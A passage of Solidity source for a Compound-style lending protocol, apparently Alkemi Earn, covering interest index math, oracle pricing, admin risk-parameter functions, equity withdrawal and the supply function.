avoid `CompilerError: Stack too deep, try removing local variables.` address targetAccount; address assetBorrow; address liquidator; address assetCollateral; // borrow index and supply index are global to the asset, not specific to the user uint256 newBorrowIndex_UnderwaterAsset; uint256 newSupplyIndex_UnderwaterAsset; uint256 newBorrowIndex_CollateralAsset; uint256 newSupplyIndex_CollateralAsset; // the target borrow's full balance with accumulated interest uint256 currentBorrowBalance_TargetUnderwaterAsset; // currentBorrowBalance_TargetUnderwaterAsset minus whatever gets repaid as part of the liquidation uint256 updatedBorrowBalance_TargetUnderwaterAsset; uint256 newTotalBorrows_ProtocolUnderwaterAsset; uint256 startingBorrowBalance_TargetUnderwaterAsset; uint256 startingSupplyBalance_TargetCollateralAsset; uint256 startingSupplyBalance_LiquidatorCollateralAsset; uint256 currentSupplyBalance_TargetCollateralAsset; uint256 updatedSupplyBalance_TargetCollateralAsset; // If liquidator already has a balance of collateralAsset, we will accumulate // interest on it before transferring seized collateral from the borrower. uint256 currentSupplyBalance_LiquidatorCollateralAsset; // This will be the liquidator's accumulated balance of collateral asset before the liquidation (if any) // plus the amount seized from the borrower. uint256 updatedSupplyBalance_LiquidatorCollateralAsset; uint256 newTotalSupply_ProtocolCollateralAsset; uint256 currentCash_ProtocolUnderwaterAsset; uint256 updatedCash_ProtocolUnderwaterAsset; // cash does not change for collateral asset uint256 newSupplyRateMantissa_ProtocolUnderwaterAsset; uint256 newBorrowRateMantissa_ProtocolUnderwaterAsset; // Why no variables for the interest rates for the collateral asset? // We don't need to calculate new rates for the collateral asset since neither cash nor borrows change uint256 discountedRepayToEvenAmount; //[supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) (discountedBorrowDenominatedCollateral) uint256 discountedBorrowDenominatedCollateral; uint256 maxCloseableBorrowAmount_TargetUnderwaterAsset; uint256 closeBorrowAmount_TargetUnderwaterAsset; uint256 seizeSupplyAmount_TargetCollateralAsset; uint256 reimburseAmount; Exp collateralPrice; Exp underwaterAssetPrice; } /** * @dev 2-level map: customerAddress -> assetAddress -> originationFeeBalance for borrows */ mapping(address => mapping(address => uint256)) public originationFeeBalance; /** * @dev Reward Control Contract address */ RewardControlInterface public rewardControl; /** * @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow */ uint256 public closeFactorMantissa; /// @dev _guardCounter and nonReentrant modifier extracted from Open Zeppelin's reEntrancyGuard /// @dev counter to allow mutex lock with only one SSTORE operation uint256 public _guardCounter; /** * @dev Prevents a contract from calling itself, directly or indirectly. * If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one `nonReentrant` function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and an `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter); } /** * @dev emitted when a supply is received * Note: newBalance - amount - startingBalance = interest accumulated since last change */ event SupplyReceived( address indexed account, address indexed asset, uint256 amount, uint256 startingBalance, uint256 newBalance ); /** * @dev emitted when a origination fee supply is received as admin * Note: newBalance - amount - startingBalance = interest accumulated since last change */ event SupplyOrgFeeAsAdmin( address indexed account, address indexed asset, uint256 amount, uint256 startingBalance, uint256 newBalance ); /** * @dev emitted when a supply is withdrawn * Note: startingBalance - amount - startingBalance = interest accumulated since last change */ event SupplyWithdrawn( address indexed account, address indexed asset, uint256 amount, uint256 startingBalance, uint256 newBalance ); /** * @dev emitted when a new borrow is taken * Note: newBalance - borrowAmountWithFee - startingBalance = interest accumulated since last change */ event BorrowTaken( address indexed account, address indexed asset, uint256 amount, uint256 startingBalance, uint256 borrowAmountWithFee, uint256 newBalance ); /** * @dev emitted when a borrow is repaid * Note: newBalance - amount - startingBalance = interest accumulated since last change */ event BorrowRepaid( address indexed account, address indexed asset, uint256 amount, uint256 startingBalance, uint256 newBalance ); /** * @dev emitted when a borrow is liquidated * targetAccount = user whose borrow was liquidated * assetBorrow = asset borrowed * borrowBalanceBefore = borrowBalance as most recently stored before the liquidation * borrowBalanceAccumulated = borroBalanceBefore + accumulated interest as of immediately prior to the liquidation * amountRepaid = amount of borrow repaid * liquidator = account requesting the liquidation * assetCollateral = asset taken from targetUser and given to liquidator in exchange for liquidated loan * borrowBalanceAfter = new stored borrow balance (should equal borrowBalanceAccumulated - amountRepaid) * collateralBalanceBefore = collateral balance as most recently stored before the liquidation * collateralBalanceAccumulated = collateralBalanceBefore + accumulated interest as of immediately prior to the liquidation * amountSeized = amount of collateral seized by liquidator * collateralBalanceAfter = new stored collateral balance (should equal collateralBalanceAccumulated - amountSeized) * assetBorrow and assetCollateral are not indexed as indexed addresses in an event is limited to 3 */ event BorrowLiquidated( address indexed targetAccount, address assetBorrow, uint256 borrowBalanceAccumulated, uint256 amountRepaid, address indexed liquidator, address assetCollateral, uint256 amountSeized ); /** * @dev emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address indexed oldAdmin, address indexed newAdmin); /** * @dev emitted when new market is supported by admin */ event SupportedMarket( address indexed asset, address indexed interestRateModel ); /** * @dev emitted when risk parameters are changed by admin */ event NewRiskParameters( uint256 oldCollateralRatioMantissa, uint256 newCollateralRatioMantissa, uint256 oldLiquidationDiscountMantissa, uint256 newLiquidationDiscountMantissa ); /** * @dev emitted when origination fee is changed by admin */ event NewOriginationFee( uint256 oldOriginationFeeMantissa, uint256 newOriginationFeeMantissa ); /** * @dev emitted when market has new interest rate model set */ event SetMarketInterestRateModel( address indexed asset, address indexed interestRateModel ); /** * @dev emitted when admin withdraws equity * Note that `equityAvailableBefore` indicates equity before `amount` was removed. */ event EquityWithdrawn( address indexed asset, uint256 equityAvailableBefore, uint256 amount, address indexed owner ); /** * @dev Simple function to calculate min between two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { if (a < b) { return a; } else { return b; } } /** * @dev Adds a given asset to the list of collateral markets. This operation is impossible to reverse. * Note: this will not add the asset if it already exists. */ function addCollateralMarket(address asset) internal { for (uint256 i = 0; i < collateralMarkets.length; i++) { if (collateralMarkets[i] == asset) { return; } } collateralMarkets.push(asset); } /** * @notice return the number of elements in `collateralMarkets` * @dev you can then externally call `collateralMarkets(uint)` to pull each market address * @return the length of `collateralMarkets` */ function getCollateralMarketsLength() public view returns (uint256) { return collateralMarkets.length; } /** * @dev Calculates a new supply/borrow index based on the prevailing interest rates applied over time * This is defined as `we multiply the most recent supply/borrow index by (1 + blocks times rate)` * @return Return value is expressed in 1e18 scale */ function calculateInterestIndex( uint256 startingInterestIndex, uint256 interestRateMantissa, uint256 blockStart, uint256 blockEnd ) internal pure returns (Error, uint256) { // Get the block delta (Error err0, uint256 blockDelta) = sub(blockEnd, blockStart); if (err0 != Error.NO_ERROR) { return (err0, 0); } // Scale the interest rate times number of blocks // Note: Doing Exp construction inline to avoid `CompilerError: Stack too deep, try removing local variables.` (Error err1, Exp memory blocksTimesRate) = mulScalar( Exp({mantissa: interestRateMantissa}), blockDelta ); if (err1 != Error.NO_ERROR) { return (err1, 0); } // Add one to that result (which is really Exp({mantissa: expScale}) which equals 1.0) (Error err2, Exp memory onePlusBlocksTimesRate) = addExp( blocksTimesRate, Exp({mantissa: mantissaOne}) ); if (err2 != Error.NO_ERROR) { return (err2, 0); } // Then scale that accumulated interest by the old interest index to get the new interest index (Error err3, Exp memory newInterestIndexExp) = mulScalar( onePlusBlocksTimesRate, startingInterestIndex ); if (err3 != Error.NO_ERROR) { return (err3, 0); } // Finally, truncate the interest index. This works only if interest index starts large enough // that is can be accurately represented with a whole number. return (Error.NO_ERROR, truncate(newInterestIndexExp)); } /** * @dev Calculates a new balance based on a previous balance and a pair of interest indices * This is defined as: `The user's last balance checkpoint is multiplied by the currentSupplyIndex * value and divided by the user's checkpoint index value` * @return Return value is expressed in 1e18 scale */ function calculateBalance( uint256 startingBalance, uint256 interestIndexStart, uint256 interestIndexEnd ) internal pure returns (Error, uint256) { if (startingBalance == 0) { // We are accumulating interest on any previous balance; if there's no previous balance, then there is // nothing to accumulate. return (Error.NO_ERROR, 0); } (Error err0, uint256 balanceTimesIndex) = mul( startingBalance, interestIndexEnd ); if (err0 != Error.NO_ERROR) { return (err0, 0); } return div(balanceTimesIndex, interestIndexStart); } /** * @dev Gets the price for the amount specified of the given asset. * @return Return value is expressed in a magnified scale per token decimals */ function getPriceForAssetAmount(address asset, uint256 assetAmount) internal view returns (Error, Exp memory) { (Error err, Exp memory assetPrice) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } if (isZeroExp(assetPrice)) { return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0})); } return mulScalar(assetPrice, assetAmount); // assetAmountWei * oraclePrice = assetValueInEth } /** * @dev Gets the price for the amount specified of the given asset multiplied by the current * collateral ratio (i.e., assetAmountWei * collateralRatio * oraclePrice = totalValueInEth). * We will group this as `(oraclePrice * collateralRatio) * assetAmountWei` * @return Return value is expressed in a magnified scale per token decimals */ function getPriceForAssetAmountMulCollatRatio( address asset, uint256 assetAmount ) internal view returns (Error, Exp memory) { Error err; Exp memory assetPrice; Exp memory scaledPrice; (err, assetPrice) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } if (isZeroExp(assetPrice)) { return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0})); } // Now, multiply the assetValue by the collateral ratio (err, scaledPrice) = mulExp(collateralRatio, assetPrice); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } // Get the price for the given asset amount return mulScalar(scaledPrice, assetAmount); } /** * @dev Calculates the origination fee added to a given borrowAmount * This is simply `(1 + originationFee) * borrowAmount` * @return Return value is expressed in 1e18 scale */ function calculateBorrowAmountWithFee(uint256 borrowAmount) internal view returns (Error, uint256) { // When origination fee is zero, the amount with fee is simply equal to the amount if (isZeroExp(originationFee)) { return (Error.NO_ERROR, borrowAmount); } (Error err0, Exp memory originationFeeFactor) = addExp( originationFee, Exp({mantissa: mantissaOne}) ); if (err0 != Error.NO_ERROR) { return (err0, 0); } (Error err1, Exp memory borrowAmountWithFee) = mulScalar( originationFeeFactor, borrowAmount ); if (err1 != Error.NO_ERROR) { return (err1, 0); } return (Error.NO_ERROR, truncate(borrowAmountWithFee)); } /** * @dev fetches the price of asset from the PriceOracle and converts it to Exp * @param asset asset whose price should be fetched * @return Return value is expressed in a magnified scale per token decimals */ function fetchAssetPrice(address asset) internal view returns (Error, Exp memory) { if (priceOracle == address(0)) { return (Error.ZERO_ORACLE_ADDRESS, Exp({mantissa: 0})); } if (priceOracle.paused()) { return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0})); } (uint256 priceMantissa, uint8 assetDecimals) = priceOracle .getAssetPrice(asset); (Error err, uint256 magnification) = sub(18, uint256(assetDecimals)); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } (err, priceMantissa) = mul(priceMantissa, 10**magnification); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } return (Error.NO_ERROR, Exp({mantissa: priceMantissa})); } /** * @notice Reads scaled price of specified asset from the price oracle * @dev Reads scaled price of specified asset from the price oracle. * The plural name is to match a previous storage mapping that this function replaced. * @param asset Asset whose price should be retrieved * @return 0 on an error or missing price, the price scaled by 1e18 otherwise */ function assetPrices(address asset) public view returns (uint256) { (Error err, Exp memory result) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return 0; } return result.mantissa; } /** * @dev Gets the amount of the specified asset given the specified Eth value * ethValue / oraclePrice = assetAmountWei * If there's no oraclePrice, this returns (Error.DIVISION_BY_ZERO, 0) * @return Return value is expressed in a magnified scale per token decimals */ function getAssetAmountForValue(address asset, Exp ethValue) internal view returns (Error, uint256) { Error err; Exp memory assetPrice; Exp memory assetAmount; (err, assetPrice) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return (err, 0); } (err, assetAmount) = divExp(ethValue, assetPrice); if (err != Error.NO_ERROR) { return (err, 0); } return (Error.NO_ERROR, truncate(assetAmount)); } /** * @notice Admin Functions. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin * @param newOracle New oracle address * @param requestedState value to assign to `paused` * @param originationFeeMantissa rational collateral ratio, scaled by 1e18. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _adminFunctions( address newPendingAdmin, address newOracle, bool requestedState, uint256 originationFeeMantissa, uint256 newCloseFactorMantissa ) public returns (uint256) { // Check caller = admin require(msg.sender == admin, "SET_PENDING_ADMIN_OWNER_CHECK"); // newPendingAdmin can be 0x00, hence not checked require(newOracle != address(0), "Cannot set weth address to 0x00"); require( originationFeeMantissa < 10**18 && newCloseFactorMantissa < 10**18, "Invalid Origination Fee or Close Factor Mantissa" ); // Store pendingAdmin = newPendingAdmin pendingAdmin = newPendingAdmin; // Verify contract at newOracle address supports assetPrices call. // This will revert if it doesn't. // ChainLink priceOracleTemp = ChainLink(newOracle); // priceOracleTemp.getAssetPrice(address(0)); // Initialize the Chainlink contract in priceOracle priceOracle = ChainLink(newOracle); paused = requestedState; // Save current value so we can emit it in log. Exp memory oldOriginationFee = originationFee; originationFee = Exp({mantissa: originationFeeMantissa}); emit NewOriginationFee( oldOriginationFee.mantissa, originationFeeMantissa ); closeFactorMantissa = newCloseFactorMantissa; return uint256(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() public returns (uint256) { // Check caller = pendingAdmin // msg.sender can't be zero require(msg.sender == pendingAdmin, "ACCEPT_ADMIN_PENDING_ADMIN_CHECK"); // Save current value for inclusion in log address oldAdmin = admin; // Store admin = pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = 0; emit NewAdmin(oldAdmin, msg.sender); return uint256(Error.NO_ERROR); } /** * @notice returns the liquidity for given account. * a positive result indicates ability to borrow, whereas * a negative result indicates a shortfall which may be liquidated * @dev returns account liquidity in terms of eth-wei value, scaled by 1e18 and truncated when the value is 0 or when the last few decimals are 0 * note: this includes interest trued up on all balances * @param account the account to examine * @return signed integer in terms of eth-wei (negative indicates a shortfall) */ function getAccountLiquidity(address account) public view returns (int256) { ( Error err, Exp memory accountLiquidity, Exp memory accountShortfall ) = calculateAccountLiquidity(account); revertIfError(err); if (isZeroExp(accountLiquidity)) { return -1 * int256(truncate(accountShortfall)); } else { return int256(truncate(accountLiquidity)); } } /** * @notice return supply balance with any accumulated interest for `asset` belonging to `account` * @dev returns supply balance with any accumulated interest for `asset` belonging to `account` * @param account the account to examine * @param asset the market asset whose supply balance belonging to `account` should be checked * @return uint supply balance on success, throws on failed assertion otherwise */ function getSupplyBalance(address account, address asset) public view returns (uint256) { Error err; uint256 newSupplyIndex; uint256 userSupplyCurrent; Market storage market = markets[asset]; Balance storage supplyBalance = supplyBalances[account][asset]; // Calculate the newSupplyIndex, needed to calculate user's supplyCurrent (err, newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); revertIfError(err); // Use newSupplyIndex and stored principal to calculate the accumulated balance (err, userSupplyCurrent) = calculateBalance( supplyBalance.principal, supplyBalance.interestIndex, newSupplyIndex ); revertIfError(err); return userSupplyCurrent; } /** * @notice return borrow balance with any accumulated interest for `asset` belonging to `account` * @dev returns borrow balance with any accumulated interest for `asset` belonging to `account` * @param account the account to examine * @param asset the market asset whose borrow balance belonging to `account` should be checked * @return uint borrow balance on success, throws on failed assertion otherwise */ function getBorrowBalance(address account, address asset) public view returns (uint256) { Error err; uint256 newBorrowIndex; uint256 userBorrowCurrent; Market storage market = markets[asset]; Balance storage borrowBalance = borrowBalances[account][asset]; // Calculate the newBorrowIndex, needed to calculate user's borrowCurrent (err, newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); revertIfError(err); // Use newBorrowIndex and stored principal to calculate the accumulated balance (err, userBorrowCurrent) = calculateBalance( borrowBalance.principal, borrowBalance.interestIndex, newBorrowIndex ); revertIfError(err); return userBorrowCurrent; } /** * @notice Supports a given market (asset) for use * @dev Admin function to add support for a market * @param asset Asset to support; MUST already have a non-zero price set * @param interestRateModel InterestRateModel to use for the asset * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _supportMarket(address asset, InterestRateModel interestRateModel) public returns (uint256) { // Check caller = admin require(msg.sender == admin, "SUPPORT_MARKET_OWNER_CHECK"); require(interestRateModel != address(0), "Rate Model cannot be 0x00"); // Hard cap on the maximum number of markets allowed require( collateralMarkets.length < 16, // 16 = MAXIMUM_NUMBER_OF_MARKETS_ALLOWED "Exceeding the max number of markets allowed" ); (Error err, Exp memory assetPrice) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.SUPPORT_MARKET_FETCH_PRICE_FAILED); } if (isZeroExp(assetPrice)) { return fail( Error.ASSET_NOT_PRICED, FailureInfo.SUPPORT_MARKET_PRICE_CHECK ); } // Set the interest rate model to `modelAddress` markets[asset].interestRateModel = interestRateModel; // Append asset to collateralAssets if not set addCollateralMarket(asset); // Set market isSupported to true markets[asset].isSupported = true; // Default supply and borrow index to 1e18 if (markets[asset].supplyIndex == 0) { markets[asset].supplyIndex = initialInterestIndex; } if (markets[asset].borrowIndex == 0) { markets[asset].borrowIndex = initialInterestIndex; } emit SupportedMarket(asset, interestRateModel); return uint256(Error.NO_ERROR); } /** * @notice Suspends a given *supported* market (asset) from use. * Assets in this state do count for collateral, but users may only withdraw, payBorrow, * and liquidate the asset. The liquidate function no longer checks collateralization. * @dev Admin function to suspend a market * @param asset Asset to suspend * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _suspendMarket(address asset) public returns (uint256) { // Check caller = admin require(msg.sender == admin, "SUSPEND_MARKET_OWNER_CHECK"); // If the market is not configured at all, we don't want to add any configuration for it. // If we find !markets[asset].isSupported then either the market is not configured at all, or it // has already been marked as unsupported. We can just return without doing anything. // Caller is responsible for knowing the difference between not-configured and already unsupported. if (!markets[asset].isSupported) { return uint256(Error.NO_ERROR); } // If we get here, we know market is configured and is supported, so set isSupported to false markets[asset].isSupported = false; return uint256(Error.NO_ERROR); } /** * @notice Sets the risk parameters: collateral ratio and liquidation discount * @dev Owner function to set the risk parameters * @param collateralRatioMantissa rational collateral ratio, scaled by 1e18. The de-scaled value must be >= 1.1 * @param liquidationDiscountMantissa rational liquidation discount, scaled by 1e18. The de-scaled value must be <= 0.1 and must be less than (descaled collateral ratio minus 1) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setRiskParameters( uint256 collateralRatioMantissa, uint256 liquidationDiscountMantissa ) public returns (uint256) { // Check caller = admin require(msg.sender == admin, "SET_RISK_PARAMETERS_OWNER_CHECK"); // Input validations require( collateralRatioMantissa >= minimumCollateralRatioMantissa && liquidationDiscountMantissa <= maximumLiquidationDiscountMantissa, "Liquidation discount is more than max discount or collateral ratio is less than min ratio" ); Exp memory newCollateralRatio = Exp({ mantissa: collateralRatioMantissa }); Exp memory newLiquidationDiscount = Exp({ mantissa: liquidationDiscountMantissa }); Exp memory minimumCollateralRatio = Exp({ mantissa: minimumCollateralRatioMantissa }); Exp memory maximumLiquidationDiscount = Exp({ mantissa: maximumLiquidationDiscountMantissa }); Error err; Exp memory newLiquidationDiscountPlusOne; // Make sure new collateral ratio value is not below minimum value if (lessThanExp(newCollateralRatio, minimumCollateralRatio)) { return fail( Error.INVALID_COLLATERAL_RATIO, FailureInfo.SET_RISK_PARAMETERS_VALIDATION ); } // Make sure new liquidation discount does not exceed the maximum value, but reverse operands so we can use the // existing `lessThanExp` function rather than adding a `greaterThan` function to Exponential. if (lessThanExp(maximumLiquidationDiscount, newLiquidationDiscount)) { return fail( Error.INVALID_LIQUIDATION_DISCOUNT, FailureInfo.SET_RISK_PARAMETERS_VALIDATION ); } // C = L+1 is not allowed because it would cause division by zero error in `calculateDiscountedRepayToEvenAmount` // C < L+1 is not allowed because it would cause integer underflow error in `calculateDiscountedRepayToEvenAmount` (err, newLiquidationDiscountPlusOne) = addExp( newLiquidationDiscount, Exp({mantissa: mantissaOne}) ); assert(err == Error.NO_ERROR); // We already validated that newLiquidationDiscount does not approach overflow size if ( lessThanOrEqualExp( newCollateralRatio, newLiquidationDiscountPlusOne ) ) { return fail( Error.INVALID_COMBINED_RISK_PARAMETERS, FailureInfo.SET_RISK_PARAMETERS_VALIDATION ); } // Save current values so we can emit them in log. Exp memory oldCollateralRatio = collateralRatio; Exp memory oldLiquidationDiscount = liquidationDiscount; // Store new values collateralRatio = newCollateralRatio; liquidationDiscount = newLiquidationDiscount; emit NewRiskParameters( oldCollateralRatio.mantissa, collateralRatioMantissa, oldLiquidationDiscount.mantissa, liquidationDiscountMantissa ); return uint256(Error.NO_ERROR); } /** * @notice Sets the interest rate model for a given market * @dev Admin function to set interest rate model * @param asset Asset to support * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setMarketInterestRateModel( address asset, InterestRateModel interestRateModel ) public returns (uint256) { // Check caller = admin require( msg.sender == admin, "SET_MARKET_INTEREST_RATE_MODEL_OWNER_CHECK" ); require(interestRateModel != address(0), "Rate Model cannot be 0x00"); // Set the interest rate model to `modelAddress` markets[asset].interestRateModel = interestRateModel; emit SetMarketInterestRateModel(asset, interestRateModel); return uint256(Error.NO_ERROR); } /** * @notice withdraws `amount` of `asset` from equity for asset, as long as `amount` <= equity. Equity = cash + borrows - supply * @dev withdraws `amount` of `asset` from equity for asset, enforcing amount <= cash + borrows - supply * @param asset asset whose equity should be withdrawn * @param amount amount of equity to withdraw; must not exceed equity available * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _withdrawEquity(address asset, uint256 amount) public returns (uint256) { // Check caller = admin require(msg.sender == admin, "EQUITY_WITHDRAWAL_MODEL_OWNER_CHECK"); // Check that amount is less than cash (from ERC-20 of self) plus borrows minus supply. // Get supply and borrows with interest accrued till the latest block ( uint256 supplyWithInterest, uint256 borrowWithInterest ) = getMarketBalances(asset); (Error err0, uint256 equity) = addThenSub( getCash(asset), borrowWithInterest, supplyWithInterest ); if (err0 != Error.NO_ERROR) { return fail(err0, FailureInfo.EQUITY_WITHDRAWAL_CALCULATE_EQUITY); } if (amount > equity) { return fail( Error.EQUITY_INSUFFICIENT_BALANCE, FailureInfo.EQUITY_WITHDRAWAL_AMOUNT_VALIDATION ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) if (asset != wethAddress) { // Withdrawal should happen as Ether directly // We ERC-20 transfer the asset out of the protocol to the admin Error err2 = doTransferOut(asset, admin, amount); if (err2 != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail( err2, FailureInfo.EQUITY_WITHDRAWAL_TRANSFER_OUT_FAILED ); } } else { withdrawEther(admin, amount); // send Ether to user } (, markets[asset].supplyRateMantissa) = markets[asset] .interestRateModel .getSupplyRate( asset, getCash(asset) - amount, markets[asset].totalSupply ); (, markets[asset].borrowRateMantissa) = markets[asset] .interestRateModel .getBorrowRate( asset, getCash(asset) - amount, markets[asset].totalBorrows ); //event EquityWithdrawn(address asset, uint equityAvailableBefore, uint amount, address owner) emit EquityWithdrawn(asset, equity, amount, admin); return uint256(Error.NO_ERROR); // success } /** * @dev Set WETH token contract address * @param wethContractAddress Enter the WETH token address */ function setWethAddress(address wethContractAddress) public returns (uint256) { // Check caller = admin require(msg.sender == admin, "SET_WETH_ADDRESS_ADMIN_CHECK_FAILED"); require( wethContractAddress != address(0), "Cannot set weth address to 0x00" ); wethAddress = wethContractAddress; WETHContract = AlkemiWETH(wethAddress); return uint256(Error.NO_ERROR); } /** * @dev Convert Ether supplied by user into WETH tokens and then supply corresponding WETH to user * @return errors if any * @param etherAmount Amount of ether to be converted to WETH * @param user User account address */ function supplyEther(address user, uint256 etherAmount) internal returns (uint256) { user; // To silence the warning of unused local variable if (wethAddress != address(0)) { WETHContract.deposit.value(etherAmount)(); return uint256(Error.NO_ERROR); } else { return uint256(Error.WETH_ADDRESS_NOT_SET_ERROR); } } /** * @dev Revert Ether paid by user back to user's account in case transaction fails due to some other reason * @param etherAmount Amount of ether to be sent back to user * @param user User account address */ function revertEtherToUser(address user, uint256 etherAmount) internal { if (etherAmount > 0) { user.transfer(etherAmount); } } /** * @notice supply `amount` of `asset` (which must be supported) to `msg.sender` in the protocol * @dev add amount of supported asset to msg.sender's account * @param asset The market asset to supply * @param amount The amount to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function supply(address asset, uint256 amount) public payable nonReentrant returns (uint256) { if (paused) { revertEtherToUser(msg.sender, msg.value); return fail(Error.CONTRACT_PAUSED, FailureInfo.SUPPLY_CONTRACT_PAUSED); } refreshAlkSupplyIndex(asset, msg.sender, false); Market storage market = markets[asset]; Balance storage balance = supplyBalances[msg.sender][asset]; SupplyLocalVars memory localResults; // Holds all our uint calculation results Error err; // Re-used for every function call that includes an Error in its return value(s). uint256 rateCalculationResultCode; // Used for 2 interest rate calculation calls // Fail if market not supported if (!market.isSupported) { revertEtherToUser(msg.sender, msg.value); return fail( Error.MARKET_NOT_SUPPORTED, FailureInfo.SUPPLY_MARKET_NOT_SUPPORTED ); } if (asset != wethAddress) { // WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically // Fail gracefully if asset is not approved or has insufficient balance revertEtherToUser(msg.sender, msg.value); err = checkTransferIn(asset, msg.sender, amount); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_NOT_POSSIBLE); } } // We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset (err, localResults.newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_NEW_SUPPLY_INDEX_CALCULATION_FAILED ); } (err, localResults.userSupplyCurrent) = calculateBalance( balance.principal, balance.interestIndex, localResults.newSupplyIndex ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_ACCUMULATED_BALANCE_CALCULATION_FAILED ); } (err, localResults.userSupplyUpdated) = add( localResults.userSupplyCurrent, amount ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } // We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply (err, localResults.newTotalSupply) = addThenSub( market.totalSupply, localResults.userSupplyUpdated, balance.principal ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_NEW_TOTAL_SUPPLY_CALCULATION_FAILED ); } // We need to calculate what the updated cash will be after we transfer in from user localResults.currentCash = getCash(asset); (err, localResults.updatedCash) = add(localResults.currentCash, amount); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail(err, FailureInfo.SUPPLY_NEW_TOTAL_CASH_CALCULATION_FAILED); } // The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it. (rateCalculationResultCode, localResults.newSupplyRateMantissa) = market .interestRateModel .getSupplyRate(asset, localResults.updatedCash, market.totalBorrows); if (rateCalculationResultCode != 0) { revertEtherToUser(msg.sender, msg.value); return failOpaque( FailureInfo.SUPPLY_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } // We calculate the newBorrowIndex (we already had newSupplyIndex) (err, localResults.newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_NEW_BORROW_INDEX_CALCULATION_FAILED ); } (rateCalculationResultCode, localResults.newBorrowRateMantissa) = market .interestRateModel .getBorrowRate(asset, localResults.updatedCash, market.totalBorrows); if (rateCalculationResultCode != 0) { revertEtherToUser(msg.sender, msg.value); return failOpaque( FailureInfo.SUPPLY_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save market updates market.blockNumber = block.number; market.totalSupply = localResults.newTotalSupply; market.supplyRateMantissa = localResults.newSupplyRateMantissa; market.supplyIndex = localResults.newSupplyIndex; market.borrowRateMantissa = localResults.newBorrowRateMantissa; market.borrowIndex = localResults.newBorrowIndex; // Save user updates localResults.startingBalance = balance.principal; // save for use in `SupplyReceived` event balance.principal = localResults.userSupplyUpdated; balance.interestIndex = localResults.newSupplyIndex; if (asset != wethAddress) { // WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) revertEtherToUser(msg.sender, msg.value); err = doTransferIn(asset, msg.sender, amount); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_FAILED); } } else { if (msg.value == amount) { uint256 supplyError = supplyEther(msg.sender, msg.value); if (supplyError != 0) { revertEtherToUser(msg.sender, msg.value); return fail( Error.WETH_ADDRESS_NOT_SET_ERROR, FailureInfo.WETH_ADDRESS_NOT_SET_ERROR ); } } else { revertEtherToUser(msg.sender, msg.value); return fail( Error.ETHER_AMOUNT_MISMATCH_ERROR, FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR ); } } emit SupplyReceived( msg.sender, asset, amount, localResults.startingBalance, balance.principal ); return 